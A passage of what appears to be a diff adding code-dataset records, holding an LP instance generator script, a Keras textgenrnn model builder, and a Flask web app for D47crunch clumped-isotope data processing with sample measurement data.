objective(new_features) < objective(current_features):\n step_change += 1\n current_instance = new_instance\n current_features = new_features\n return results\n\n\n@cli_seeds\ndef run(seed_values):\n ''' Generate the required number of instances and store feature results. '''\n pool = multiprocessing.Pool()\n mapper = pool.imap_unordered\n print('Generating instances by naive search.')\n features = list(tqdm(\n mapper(generate_by_search, seed_values),\n total=len(seed_values), smoothing=0))\n features = list(itertools.chain(*features))\n with open('data/naive_search.json', 'w') as outfile:\n json.dump(features, outfile, indent=4, sort_keys=True)\n\nrun()\n", "source": "simonbowly/lp-generators", "license": "MIT"}
+{"text": "from keras.optimizers import RMSprop\nfrom keras.layers import Input, Embedding, Dense, LSTM, Bidirectional, GRU\nfrom keras.layers import concatenate, Reshape, SpatialDropout1D\nfrom keras.models import Model\nfrom keras import backend as K\nfrom .AttentionWeightedAverage import AttentionWeightedAverage\n\n\ndef textgenrnn_model(num_classes, cfg, context_size=None,\n weights_path=None,\n dropout=0.0,\n optimizer=RMSprop(lr=4e-3, rho=0.99)):\n '''\n Builds the model architecture for textgenrnn and\n loads the specified weights for the model.\n '''\n\n input = Input(shape=(cfg['max_length'],), name='input')\n embedded = Embedding(num_classes, cfg['dim_embeddings'],\n input_length=cfg['max_length'],\n name='embedding')(input)\n\n if dropout > 0.0:\n embedded = SpatialDropout1D(dropout, name='dropout')(embedded)\n\n rnn_layer_list = []\n for i in range(cfg['rnn_layers']):\n prev_layer = embedded if i == 0 else rnn_layer_list[-1]\n if cfg.get('rnn_type') == 'gru':\n rnn_layer_list.append(new_rnn_gru(cfg, i + 1)(prev_layer))\n else:\n rnn_layer_list.append(new_rnn(cfg, i + 1)(prev_layer))\n\n seq_concat = concatenate([embedded] + rnn_layer_list, name='rnn_concat')\n attention = AttentionWeightedAverage(name='attention')(seq_concat)\n output = Dense(num_classes, name='output', activation='softmax')(attention)\n\n if context_size is None:\n model = Model(inputs=[input], outputs=[output])\n if weights_path is not None:\n model.load_weights(weights_path, by_name=True)\n model.compile(loss='categorical_crossentropy', optimizer=optimizer)\n\n else:\n context_input = Input(\n shape=(context_size,), name='context_input')\n context_reshape = Reshape((context_size,),\n name='context_reshape')(context_input)\n merged = concatenate([attention, context_reshape], name='concat')\n main_output = Dense(num_classes, name='context_output',\n activation='softmax')(merged)\n\n model = Model(inputs=[input, context_input],\n outputs=[main_output, output])\n if weights_path is not None:\n model.load_weights(weights_path, by_name=True)\n model.compile(loss='categorical_crossentropy', optimizer=optimizer,\n loss_weights=[0.8, 0.2])\n\n return model\n\n\n'''\nCreate a new LSTM layer per parameters. Unfortunately,\neach combination of parameters must be hardcoded.\n\nThe normal LSTMs use sigmoid recurrent activations\nfor parity with CuDNNLSTM:\nhttps://github.com/keras-team/keras/issues/8860\n'''\n\n\ndef new_rnn(cfg, layer_num):\n use_cudnnlstm = K.backend() == 'tensorflow' and len(K.tensorflow_backend._get_available_gpus()) > 0\n if use_cudnnlstm:\n from keras.layers import CuDNNLSTM\n if cfg['rnn_bidirectional']:\n return Bidirectional(CuDNNLSTM(cfg['rnn_size'],\n return_sequences=True),\n name='rnn_{}'.format(layer_num))\n\n return CuDNNLSTM(cfg['rnn_size'],\n return_sequences=True,\n name='rnn_{}'.format(layer_num))\n else:\n if cfg['rnn_bidirectional']:\n return Bidirectional(LSTM(cfg['rnn_size'],\n return_sequences=True,\n recurrent_activation='sigmoid'),\n name='rnn_{}'.format(layer_num))\n\n return LSTM(cfg['rnn_size'],\n return_sequences=True,\n recurrent_activation='sigmoid',\n name='rnn_{}'.format(layer_num))\n\n\ndef new_rnn_gru(cfg, layer_num):\n use_cudnngru = K.backend() == 'tensorflow' and len(K.tensorflow_backend._get_available_gpus()) > 0\n if use_cudnngru:\n from keras.layers import CuDNNGRU\n if cfg['rnn_bidirectional']:\n return Bidirectional(CuDNNGRU(cfg['rnn_size'],\n return_sequences=True),\n name='rnn_{}'.format(layer_num))\n\n return CuDNNGRU(cfg['rnn_size'],\n return_sequences=True,\n name='rnn_{}'.format(layer_num))\n else:\n if cfg['rnn_bidirectional']:\n return Bidirectional(GRU(cfg['rnn_size'],\n return_sequences=True,\n recurrent_activation='sigmoid',\n reset_after=True),\n name='rnn_{}'.format(layer_num))\n\n return GRU(cfg['rnn_size'],\n return_sequences=True,\n recurrent_activation='sigmoid',\n reset_after=True,\n name='rnn_{}'.format(layer_num))\n", "source": "cosandr/textgenrnn", "license": "MIT"}
+{"text": "#! /usr/bin/env python3\n\n# from datetime import datetime\n# from random import choices\n# from string import ascii_lowercase\nfrom flask import Flask, request, render_template, Response, send_file\nfrom flaskext.markdown import Markdown\nfrom D47crunch import D47data, pretty_table, make_csv, smart_type\nfrom D47crunch import __version__ as vD47crunch\nimport zipfile, io, time\nfrom pylab import *\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nimport base64\nfrom werkzeug.wsgi import FileWrapper\n\nfrom matplotlib import rcParams\n\n# rcParams['backend'] = 'Agg'\n# rcParams['interactive'] = False\nrcParams['font.family'] = 'Helvetica'\nrcParams['font.sans-serif'] = 'Helvetica'\nrcParams['font.size'] = 10\nrcParams['mathtext.fontset'] = 'custom'\nrcParams['mathtext.rm'] = 'sans'\nrcParams['mathtext.bf'] = 'sans:bold'\nrcParams['mathtext.it'] = 'sans:italic'\nrcParams['mathtext.cal'] = 'sans:italic'\nrcParams['mathtext.default'] = 'rm'\nrcParams['xtick.major.size'] = 4\nrcParams['xtick.major.width'] = 1\nrcParams['ytick.major.size'] = 4\nrcParams['ytick.major.width'] = 1\nrcParams['axes.grid'] = False\nrcParams['axes.linewidth'] = 1\nrcParams['grid.linewidth'] = .75\nrcParams['grid.linestyle'] = '-'\nrcParams['grid.alpha'] = .15\nrcParams['savefig.dpi'] = 150\n\n__author__ = 'Mathieu Da\u00ebron'\n__contact__ = 'daeron@lsce.ipsl.fr'\n__copyright__ = 'Copyright (c) 2020 Mathieu Da\u00ebron'\n__license__ = 'Modified BSD License - https://opensource.org/licenses/BSD-3-Clause'\n__date__ = '2020-04-22'\n__version__ = '2.1.dev2'\n\nrawdata_input_str = '''UID\\tSession\\tSample\\td45\\td46\\td47\\tNominal_d13C_VPDB\\tNominal_d18O_VPDB\nA01\\tSession01\\tETH-1\\t5.795017\\t11.627668\\t16.893512\\t2.02\\t-2.19\nA02\\tSession01\\tIAEA-C1\\t6.219070\\t11.491072\\t17.277490\nA03\\tSession01\\tETH-2\\t-6.058681\\t-4.817179\\t-11.635064\\t-10.17\\t-18.69\nA04\\tSession01\\tIAEA-C2\\t-3.861839\\t4.941839\\t0.606117\nA05\\tSession01\\tETH-3\\t5.543654\\t12.052277\\t17.405548\\t1.71\\t-1.78\nA06\\tSession01\\tMERCK\\t-35.929352\\t-2.087501\\t-39.548484\nA07\\tSession01\\tETH-4\\t-6.222218\\t-5.194170\\t-11.944111\nA08\\tSession01\\tETH-2\\t-6.067055\\t-4.877104\\t-11.699265\\t-10.17\\t-18.69\nA09\\tSession01\\tMERCK\\t-35.930739\\t-2.080798\\t-39.545632\nA10\\tSession01\\tETH-1\\t5.788207\\t11.559104\\t16.801908\\t2.02\\t-2.19\nA11\\tSession01\\tETH-4\\t-6.217508\\t-5.221407\\t-11.987503\nA12\\tSession01\\tIAEA-C2\\t-3.876921\\t4.868892\\t0.521845\nA13\\tSession01\\tETH-3\\t5.539840\\t12.013444\\t17.368631\\t1.71\\t-1.78\nA14\\tSession01\\tIAEA-C1\\t6.219046\\t11.447846\\t17.234280\nA15\\tSession01\\tMERCK\\t-35.932060\\t-2.088659\\t-39.531627\nA16\\tSession01\\tETH-3\\t5.516658\\t11.978320\\t17.295740\\t1.71\\t-1.78\nA17\\tSession01\\tETH-4\\t-6.223370\\t-5.253980\\t-12.025298\nA18\\tSession01\\tETH-2\\t-6.069734\\t-4.868368\\t-11.688559\\t-10.17\\t-18.69\nA19\\tSession01\\tIAEA-C1\\t6.213642\\t11.465109\\t17.244547\nA20\\tSession01\\tETH-1\\t5.789982\\t11.535603\\t16.789811\\t2.02\\t-2.19\nA21\\tSession01\\tETH-4\\t-6.205703\\t-5.144529\\t-11.909160\nA22\\tSession01\\tIAEA-C1\\t6.212646\\t11.406548\\t17.187214\nA23\\tSession01\\tETH-3\\t5.531413\\t11.976697\\t17.332700\\t1.71\\t-1.78\nA24\\tSession01\\tMERCK\\t-35.926347\\t-2.124579\\t-39.582201\nA25\\tSession01\\tETH-1\\t5.786979\\t11.527864\\t16.775547\\t2.02\\t-2.19\nA26\\tSession01\\tIAEA-C2\\t-3.866505\\t4.874630\\t0.525332\nA27\\tSession01\\tETH-2\\t-6.076302\\t-4.922424\\t-11.753283\\t-10.17\\t-18.69\nA28\\tSession01\\tIAEA-C2\\t-3.878438\\t4.818588\\t0.467595\nA29\\tSession01\\tETH-3\\t5.546458\\t12.133931\\t17.501646\\t1.71\\t-1.78\nA30\\tSession01\\tETH-1\\t5.802916\\t11.642685\\t16.904286\\t2.02\\t-2.19\nA31\\tSession01\\tETH-2\\t-6.069274\\t-4.847919\\t-11.677722\\t-10.17\\t-18.69\nA32\\tSession01\\tETH-3\\t5.523018\\t12.007363\\t17.362080\\t1.71\\t-1.78\nA33\\tSession01\\tETH-1\\t5.802333\\t11.616032\\t16.884255\\t2.02\\t-2.19\nA34\\tSession01\\tETH-3\\t5.537375\\t12.000263\\t17.350856\\t1.71\\t-1.78\nA35\\tSession01\\tETH-2\\t-6.060713\\t-4.893088\\t-11.728465\\t-10.17\\t-18.69\nA36\\tSession01\\tETH-3\\t5.532342\\t11.990022\\t17.342273\\t1.71\\t-1.78\nA37\\tSession01\\tETH-3\\t5.533622\\t11.980853\\t17.342245\\t1.71\\t-1.78\nA38\\tSession01\\tIAEA-C2\\t-3.867587\\t4.893554\\t0.540404\nA39\\tSession01\\tIAEA-C1\\t6.201760\\t11.406628\\t17.189625\nA40\\tSession01\\tETH-1\\t5.802150\\t11.563414\\t16.836189\\t2.02\\t-2.19\nA41\\tSession01\\tETH-2\\t-6.068598\\t-4.897545\\t-11.722343\\t-10.17\\t-18.69\nA42\\tSession01\\tMERCK\\t-35.928359\\t-2.098440\\t-39.577150\nA43\\tSession01\\tETH-4\\t-6.219175\\t-5.168031\\t-11.936923\nA44\\tSession01\\tIAEA-C2\\t-3.871671\\t4.871517\\t0.518290\nB01\\tSession02\\tETH-1\\t5.800180\\t11.640916\\t16.939044\\t2.02\\t-2.19\nB02\\tSession02\\tETH-1\\t5.799584\\t11.631297\\t16.917656\\t2.02\\t-2.19\nB03\\tSession02\\tIAEA-C1\\t6.225135\\t11.512637\\t17.335876\nB04\\tSession02\\tETH-2\\t-6.030415\\t-4.746444\\t-11.525506\\t-10.17\\t-18.69\nB05\\tSession02\\tIAEA-C2\\t-3.837017\\t4.992780\\t0.675292\nB06\\tSession02\\tETH-3\\t5.536997\\t12.048918\\t17.420228\\t1.71\\t-1.78\nB07\\tSession02\\tMERCK\\t-35.928379\\t-2.105615\\t-39.594573\nB08\\tSession02\\tETH-4\\t-6.218801\\t-5.185168\\t-11.964407\nB09\\tSession02\\tETH-2\\t-6.068197\\t-4.840037\\t-11.686296\\t-10.17\\t-18.69\nB10\\tSession02\\tMERCK\\t-35.926951\\t-2.071047\\t-39.546767\nB11\\tSession02\\tETH-1\\t5.782634\\t11.571818\\t16.835185\\t2.02\\t-2.19\nB12\\tSession02\\tETH-2\\t-6.070168\\t-4.877700\\t-11.703876\\t-10.17\\t-18.69\nB13\\tSession02\\tETH-4\\t-6.214873\\t-5.190550\\t-11.967040\nB14\\tSession02\\tIAEA-C2\\t-3.853550\\t4.919425\\t0.584634\nB15\\tSession02\\tETH-3\\t5.522265\\t12.011737\\t17.368407\\t1.71\\t-1.78\nB16\\tSession02\\tIAEA-C1\\t6.219374\\t11.447014\\t17.264258\nB17\\tSession02\\tMERCK\\t-35.927733\\t-2.103033\\t-39.603494\nB18\\tSession02\\tETH-3\\t5.527002\\t11.984062\\t17.332660\\t1.71\\t-1.78\nB19\\tSession02\\tIAEA-C2\\t-3.850358\\t4.889230\\t0.562794\nB20\\tSession02\\tETH-4\\t-6.222398\\t-5.263817\\t-12.033650\nB21\\tSession02\\tETH-3\\t5.525478\\t11.970096\\t17.340498\\t1.71\\t-1.78\nB22\\tSession02\\tETH-2\\t-6.070129\\t-4.941487\\t-11.773824\\t-10.17\\t-18.69\nB23\\tSession02\\tIAEA-C1\\t6.217001\\t11.434152\\t17.232308\nB24\\tSession02\\tETH-1\\t5.793421\\t11.533191\\t16.810838\\t2.02\\t-2.19\nB25\\tSession02\\tETH-4\\t-6.217740\\t-5.198048\\t-11.977179\nB26\\tSession02\\tIAEA-C1\\t6.216912\\t11.425200\\t17.234224\nB27\\tSession02\\tETH-3\\t5.522238\\t11.932174\\t17.286903\\t1.71\\t-1.78\nB28\\tSession02\\tMERCK\\t-35.914404\\t-2.133955\\t-39.614612\nB29\\tSession02\\tETH-1\\t5.784156\\t11.517244\\t16.786548\\t2.02\\t-2.19\nB30\\tSession02\\tIAEA-C2\\t-3.852750\\t4.884339\\t0.551587\nB31\\tSession02\\tETH-2\\t-6.068631\\t-4.924103\\t-11.764507\\t-10.17\\t-18.69\nB32\\tSession02\\tETH-4\\t-6.220238\\t-5.231375\\t-12.009300\nB33\\tSession02\\tIAEA-C2\\t-3.855245\\t4.866571\\t0.534914\nB34\\tSession02\\tETH-1\\t5.788790\\t11.544306\\t16.809117\\t2.02\\t-2.19\nB35\\tSession02\\tMERCK\\t-35.935017\\t-2.173682\\t-39.664046\nB36\\tSession02\\tETH-3\\t5.518320\\t11.955048\\t17.300668\\t1.71\\t-1.78\nB37\\tSession02\\tETH-1\\t5.790564\\t11.521174\\t16.781304\\t2.02\\t-2.19\nB38\\tSession02\\tETH-4\\t-6.218809\\t-5.205256\\t-11.979998\nB39\\tSession02\\tIAEA-C1\\t6.204774\\t11.391335\\t17.181310\nB40\\tSession02\\tETH-2\\t-6.076424\\t-4.967973\\t-11.815466\\t-10.17\\t-18.69\nC01\\tSession03\\tETH-3\\t5.541868\\t12.129615\\t17.503738\\t1.71\\t-1.78\nC02\\tSession03\\tETH-3\\t5.534395\\t12.034601\\t17.391274\\t1.71\\t-1.78\nC03\\tSession03\\tETH-1\\t5.797568\\t11.563575\\t16.857871\\t2.02\\t-2.19\nC04\\tSession03\\tETH-3\\t5.529415\\t11.969512\\t17.342673\\t1.71\\t-1.78\nC05\\tSession03\\tETH-1\\t5.794026\\t11.526540\\t16.806934\\t2.02\\t-2.19\nC06\\tSession03\\tETH-3\\t5.527210\\t11.937462\\t17.294015\\t1.71\\t-1.78\nC07\\tSession03\\tIAEA-C1\\t6.220521\\t11.430197\\t17.242458\nC08\\tSession03\\tETH-2\\t-6.064061\\t-4.900852\\t-11.732976\\t-10.17\\t-18.69\nC09\\tSession03\\tIAEA-C2\\t-3.846482\\t4.889242\\t0.558395\nC10\\tSession03\\tETH-1\\t5.789644\\t11.520663\\t16.795837\\t2.02\\t-2.19\nC11\\tSession03\\tETH-4\\t-6.219385\\t-5.258604\\t-12.036476\nC12\\tSession03\\tMERCK\\t-35.936631\\t-2.161769\\t-39.693775\nC13\\tSession03\\tETH-2\\t-6.076357\\t-4.939912\\t-11.803553\\t-10.17\\t-18.69\nC14\\tSession03\\tIAEA-C2\\t-3.862518\\t4.850015\\t0.499777\nC15\\tSession03\\tETH-3\\t5.515822\\t11.928316\\t17.287739\\t1.71\\t-1.78\nC16\\tSession03\\tETH-4\\t-6.216625\\t-5.252914\\t-12.033781\nC17\\tSession03\\tETH-1\\t5.792540\\t11.537788\\t16.801906\\t2.02\\t-2.19\nC18\\tSession03\\tIAEA-C1\\t6.218853\\t11.447394\\t17.270859\nC19\\tSession03\\tETH-2\\t-6.070107\\t-4.944520\\t-11.806885\\t-10.17\\t-18.69\nC20\\tSession03\\tMERCK\\t-35.935001\\t-2.155577\\t-39.675070\nC21\\tSession03\\tETH-3\\t5.542309\\t12.082338\\t17.471951\\t1.71\\t-1.78\nC22\\tSession03\\tETH-4\\t-6.209017\\t-5.137393\\t-11.920935\nC23\\tSession03\\tETH-1\\t5.796781\\t11.621197\\t16.905496\\t2.02\\t-2.19\nC24\\tSession03\\tMERCK\\t-35.926449\\t-2.053921\\t-39.576918\nC25\\tSession03\\tETH-2\\t-6.057158\\t-4.797641\\t-11.644824\\t-10.17\\t-18.69\nC26\\tSession03\\tIAEA-C1\\t6.221982\\t11.501725\\t17.321709\nC27\\tSession03\\tETH-3\\t5.535162\\t12.023486\\t17.396560\\t1.71\\t-1.78\nC28\\tSession03\\tIAEA-C2\\t-3.836934\\t4.984196\\t0.665651\nC29\\tSession03\\tETH-3\\t5.531331\\t11.991300\\t17.353622\\t1.71\\t-1.78\nC30\\tSession03\\tIAEA-C2\\t-3.844008\\t4.926554\\t0.601156\nC31\\tSession03\\tETH-2\\t-6.063163\\t-4.907454\\t-11.765065\\t-10.17\\t-18.69\nC32\\tSession03\\tMERCK\\t-35.941566\\t-2.163022\\t-39.704731\nC33\\tSession03\\tETH-3\\t5.523894\\t11.992718\\t17.363902\\t1.71\\t-1.78\nC34\\tSession03\\tIAEA-C1\\t6.220801\\t11.462090\\t17.282153\nC35\\tSession03\\tETH-1\\t5.794369\\t11.563017\\t16.845673\\t2.02\\t-2.19\nC36\\tSession03\\tETH-4\\t-6.221257\\t-5.272969\\t-12.055444\nC37\\tSession03\\tETH-3\\t5.517832\\t11.957180\\t17.312487\\t1.71\\t-1.78\nC38\\tSession03\\tETH-2\\t-6.053330\\t-4.909476\\t-11.740852\\t-10.17\\t-18.69\nC39\\tSession03\\tIAEA-C1\\t6.217139\\t11.440085\\t17.244787\nC40\\tSession03\\tETH-1\\t5.794091\\t11.541948\\t16.826158\\t2.02\\t-2.19\nC41\\tSession03\\tIAEA-C2\\t-3.803466\\t4.894953\\t0.624184\nC42\\tSession03\\tETH-3\\t5.513788\\t11.933062\\t17.286883\\t1.71\\t-1.78\nC43\\tSession03\\tETH-1\\t5.793334\\t11.569668\\t16.844535\\t2.02\\t-2.19\nC44\\tSession03\\tETH-2\\t-6.064928\\t-4.935031\\t-11.786336\\t-10.17\\t-18.69\nC45\\tSession03\\tETH-4\\t-6.216796\\t-5.300373\\t-12.075033\nC46\\tSession03\\tETH-3\\t5.521772\\t11.933713\\t17.283775\\t1.71\\t-1.78\nC47\\tSession03\\tMERCK\\t-35.937762\\t-2.181553\\t-39.739636\nD01\\tSession04\\tETH-4\\t-6.218867\\t-5.242334\\t-12.032129\nD02\\tSession04\\tIAEA-C1\\t6.218458\\t11.435622\\t17.238776\nD03\\tSession04\\tETH-3\\t5.522006\\t11.946540\\t17.300601\\t1.71\\t-1.78\nD04\\tSession04\\tMERCK\\t-35.931765\\t-2.175265\\t-39.716152\nD05\\tSession04\\tETH-1\\t5.786884\\t11.560397\\t16.823187\\t2.02\\t-2.19\nD06\\tSession04\\tIAEA-C2\\t-3.846071\\t4.861980\\t0.534465\nD07\\tSession04\\tETH-2\\t-6.072653\\t-4.917987\\t-11.786215\\t-10.17\\t-18.69\nD08\\tSession04\\tETH-3\\t5.516592\\t11.923729\\t17.275641\\t1.71\\t-1.78\nD09\\tSession04\\tETH-1\\t5.789889\\t11.531354\\t16.804221\\t2.02\\t-2.19\nD10\\tSession04\\tIAEA-C2\\t-3.845074\\t4.865635\\t0.546284\nD11\\tSession04\\tETH-1\\t5.795006\\t11.507829\\t16.772751\\t2.02\\t-2.19\nD12\\tSession04\\tETH-1\\t5.791371\\t11.540606\\t16.822704\\t2.02\\t-2.19\nD13\\tSession04\\tETH-2\\t-6.074029\\t-4.937379\\t-11.786614\\t-10.17\\t-18.69\nD14\\tSession04\\tETH-4\\t-6.216977\\t-5.273352\\t-12.057294\nD15\\tSession04\\tIAEA-C1\\t6.214304\\t11.412869\\t17.227005\nD16\\tSession04\\tETH-2\\t-6.071021\\t-4.966406\\t-11.812116\\t-10.17\\t-18.69\nD17\\tSession04\\tETH-3\\t5.543181\\t12.065648\\t17.455042\\t1.71\\t-1.78\nD18\\tSession04\\tETH-1\\t5.805793\\t11.632212\\t16.937561\\t2.02\\t-2.19\nD19\\tSession04\\tIAEA-C1\\t6.230425\\t11.518038\\t17.342943\nD20\\tSession04\\tETH-2\\t-6.049292\\t-4.811109\\t-11.639895\\t-10.17\\t-18.69\nD21\\tSession04\\tIAEA-C2\\t-3.829436\\t4.967992\\t0.665451\nD22\\tSession04\\tETH-3\\t5.538827\\t12.064780\\t17.438156\\t1.71\\t-1.78\nD23\\tSession04\\tMERCK\\t-35.935604\\t-2.092229\\t-39.632228\nD24\\tSession04\\tETH-4\\t-6.215430\\t-5.166894\\t-11.939419\nD25\\tSession04\\tETH-2\\t-6.068214\\t-4.868420\\t-11.716099\\t-10.17\\t-18.69\nD26\\tSession04\\tMERCK\\t-35.918898\\t-2.041585\\t-39.566777\nD27\\tSession04\\tETH-1\\t5.786924\\t11.584138\\t16.861248\\t2.02\\t-2.19\nD28\\tSession04\\tETH-2\\t-6.062115\\t-4.820423\\t-11.664703\\t-10.17\\t-18.69\nD29\\tSession04\\tETH-4\\t-6.210819\\t-5.160997\\t-11.943417\nD30\\tSession04\\tIAEA-C2\\t-3.842542\\t4.937635\\t0.603831\nD31\\tSession04\\tETH-3\\t5.527648\\t11.985083\\t17.353603\\t1.71\\t-1.78\nD32\\tSession04\\tIAEA-C1\\t6.221429\\t11.481788\\t17.284825\nD33\\tSession04\\tMERCK\\t-35.922066\\t-2.113682\\t-39.642962\nD34\\tSession04\\tETH-3\\t5.521955\\t11.989323\\t17.345179\\t1.71\\t-1.78\nD35\\tSession04\\tIAEA-C2\\t-3.838229\\t4.937180\\t0.617586\nD36\\tSession04\\tETH-4\\t-6.215638\\t-5.221584\\t-11.999819\nD37\\tSession04\\tETH-2\\t-6.067508\\t-4.893477\\t-11.754488\\t-10.17\\t-18.69\nD38\\tSession04\\tIAEA-C1\\t6.214580\\t11.440629\\t17.254051'''\n\napp = Flask(__name__)\nMarkdown(app, extensions = [\n\t'markdown.extensions.tables',\n# \t'pymdownx.magiclink',\n# \t'pymdownx.betterem',\n\t'pymdownx.highlight',\n\t'pymdownx.tilde',\n\t'pymdownx.caret',\n# \t'pymdownx.emoji',\n# \t'pymdownx.tasklist',\n\t'pymdownx.superfences'\n\t])\n\ndefault_payload = {\n\t'display_results': False,\n\t'error_msg': '',\n\t'rawdata_input_str': rawdata_input_str,\n\t'o17_R13_VPDB': 0.01118,\n\t'o17_R18_VSMOW': 0.0020052,\n\t'o17_R17_VSMOW': 0.00038475,\n\t'o17_lambda': 0.528,\n\t'd13C_stdz_setting': 'd13C_stdz_setting_2pt',\n\t'd18O_stdz_setting': 'd18O_stdz_setting_2pt',\n\t'wg_setting': 'wg_setting_fromsamples',\n# \t'wg_setting_fromsample_samplename': 'ETH-3',\n# \t'wg_setting_fromsample_d13C': 1.71,\n# \t'wg_setting_fromsample_d18O': -1.78,\n\t'acidfrac_setting': 1.008129,\n\t'rf_input_str': '0.258\\tETH-1\\n0.256\\tETH-2\\n0.691\\tETH-3',\n\t'stdz_method_setting': 'stdz_method_setting_pooled',\n\t}\n\n@app.route('/faq/')\ndef faq():\n\twith open(f'{app.root_path}/faq.md') as fid:\n\t\tmd = fid.read()\n\treturn render_template('faq.html', md = md, vD47crunch = vD47crunch)\n\t\n\t\n@app.route('/readme/')\ndef readme():\n\twith open(f'{app.root_path}/README.md') as fid:\n\t\tmd = fid.read()\n\theadless_md = md[md.find('\\n'):]\n\treturn render_template('readme.html', md = headless_md, vD47crunch = vD47crunch)\n\t\n\n@app.route('/', methods = ['GET', 'POST'])\ndef main():\n\tif request.method == 'GET':\n\t\treturn start()\n\telse:\n\t\tif request.form['action'] == 'Process':\n\t\t\treturn proceed()\n\t\telif request.form['action'] == 'Download zipped results':\n\t\t\treturn zipresults()\n\ndef start():\n\tpayload = default_payload.copy()\n# \tpayload['token'] = datetime.now().strftime('%y%m%d') + ''.join(choices(ascii_lowercase, k=5))\n\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\ndef proceed():\n\tpayload = dict(request.form)\n\tdata = D47data()\n\n\tif payload['d13C_stdz_setting'] == 'd13C_stdz_setting_2pt':\n\t\tdata.d13C_STANDARDIZATION_METHOD = '2pt'\n\telif payload['d13C_stdz_setting'] == 'd13C_stdz_setting_1pt':\n\t\tdata.d13C_STANDARDIZATION_METHOD = '1pt'\n\telif payload['d13C_stdz_setting'] == 'd13C_stdz_setting_none':\n\t\tdata.d13C_STANDARDIZATION_METHOD = 'none'\n\n\tif payload['d18O_stdz_setting'] == 'd18O_stdz_setting_2pt':\n\t\tdata.d18O_STANDARDIZATION_METHOD = '2pt'\n\telif payload['d18O_stdz_setting'] == 'd18O_stdz_setting_1pt':\n\t\tdata.d18O_STANDARDIZATION_METHOD = '1pt'\n\telif payload['d18O_stdz_setting'] == 'd18O_stdz_setting_none':\n\t\tdata.d18O_STANDARDIZATION_METHOD = 'none'\n\n\tanchors = [l.split('\\t') for l in payload['rf_input_str'].splitlines() if '\\t' in l]\n\tdata.Nominal_D47 = {l[1]: float(l[0]) for l in anchors}\n\n\ttry:\n\t\tdata.R13_VPDB = float(payload['o17_R13_VPDB'])\n\texcept:\n\t\tpayload['error_msg'] = 'Check the value of R13_VPDB in oxygen-17 correction settings.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\t\n\ttry:\n\t\tdata.R18_VSMOW = float(payload['o17_R18_VSMOW'])\n\texcept:\n\t\tpayload['error_msg'] = 'Check the value of R18_VSMOW in oxygen-17 correction settings.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\t\n\ttry:\n\t\tdata.R17_VSMOW = float(payload['o17_R17_VSMOW'])\n\texcept:\n\t\tpayload['error_msg'] = 'Check the value of R17_VSMOW in oxygen-17 correction settings.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\ttry:\n\t\tdata.lambda_17 = float(payload['o17_lambda'])\n\texcept:\n\t\tpayload['error_msg'] = 'Check the value of \u03bb in oxygen-17 correction settings.'\n\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tdata.input(payload['rawdata_input_str'])\n# \ttry:\n# \t\tdata.input(payload['rawdata_input_str'], '\\t')\n# \texcept:\n# \t\tpayload['error_msg'] = 'Raw data input failed for some reason.'\n# \t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tfor r in data:\n\t\tfor k in ['UID', 'Sample', 'Session', 'd45', 'd46', 'd47']:\n\t\t\tif k not in r or r[k] == '':\n\t\t\t\tpayload['error_msg'] = f'Analysis \"{r[\"UID\"]}\" is missing field \"{k}\".'\n\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\t\tfor k in ['d45', 'd46', 'd47']:\n\t\t\tif not isinstance(r[k], (int, float)):\n\t\t\t\tpayload['error_msg'] = f'Analysis \"{r[\"UID\"]}\" should have a valid number for field \"{k}\".'\n\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tif payload['wg_setting'] == 'wg_setting_fromsamples':\n\n# \t\tif payload['wg_setting_fromsample_samplename'] == '':\n# \t\t\tpayload['error_msg'] = 'Empty sample name in WG settings.'\n# \t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n# \n# \t\twg_setting_fromsample_samplename = payload['wg_setting_fromsample_samplename']\n# \n# \t\tfor s in data.sessions:\n# \t\t\tif wg_setting_fromsample_samplename not in [r['Sample'] for r in data.sessions[s]['data']]:\n# \t\t\t\tpayload['error_msg'] = f'Sample name from WG settings (\"{wg_setting_fromsample_samplename}\") not found in session \"{s}\".'\n# \t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n# \n# \t\ttry:\n# \t\t\twg_setting_fromsample_d13C = float(payload['wg_setting_fromsample_d13C'])\n# \t\texcept:\n# \t\t\tpayload['error_msg'] = 'Check the \u03b413C value in WG settings.'\n# \t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n# \n# \t\ttry:\n# \t\t\twg_setting_fromsample_d18O = float(payload['wg_setting_fromsample_d18O'])\n# \t\texcept:\n# \t\t\tpayload['error_msg'] = 'Check the \u03b418O value in WG settings.'\n# \t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\t\ttry:\n\t\t\tacidfrac = float(payload['acidfrac_setting'])\n\t\texcept:\n\t\t\tpayload['error_msg'] = 'Check the acid fractionation value.'\n\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\t\tif acidfrac == 0:\n\t\t\tpayload['error_msg'] = 'Acid fractionation value should be greater than zero.'\n\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\n\n\tif payload['wg_setting'] == 'wg_setting_fromsamples':\n\n\t\tdata.Nominal_d13C_VPDB = {}\n\t\tdata.Nominal_d18O_VPDB = {}\n\t\tfor r in data:\n\t\t\tif 'Nominal_d13C_VPDB' in r:\n\t\t\t\tif r['Sample'] in data.Nominal_d13C_VPDB:\n\t\t\t\t\tif data.Nominal_d13C_VPDB[r['Sample']] != r['Nominal_d13C_VPDB']:\n\t\t\t\t\t\tpayload['error_msg'] = f\"Inconsistent Nominal_d13C_VPDB value for {r['Sample']} (analysis: {r['UID']}).\"\n\t\t\t\t\t\treturn render_template('main.html', payload = payload, vD47crunch = vD47crunch)\t\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tdata.Nominal_d13C_VPDB[r['Sample']] = r['Nominal_d13C_VPDB']\n\t\t\tif 'Nominal_d18O_VPDB' in r:\n\t\t\t\tif r['Sample'] in data.Nominal_d18O_VPDB:\n\t\t\t\t\tif 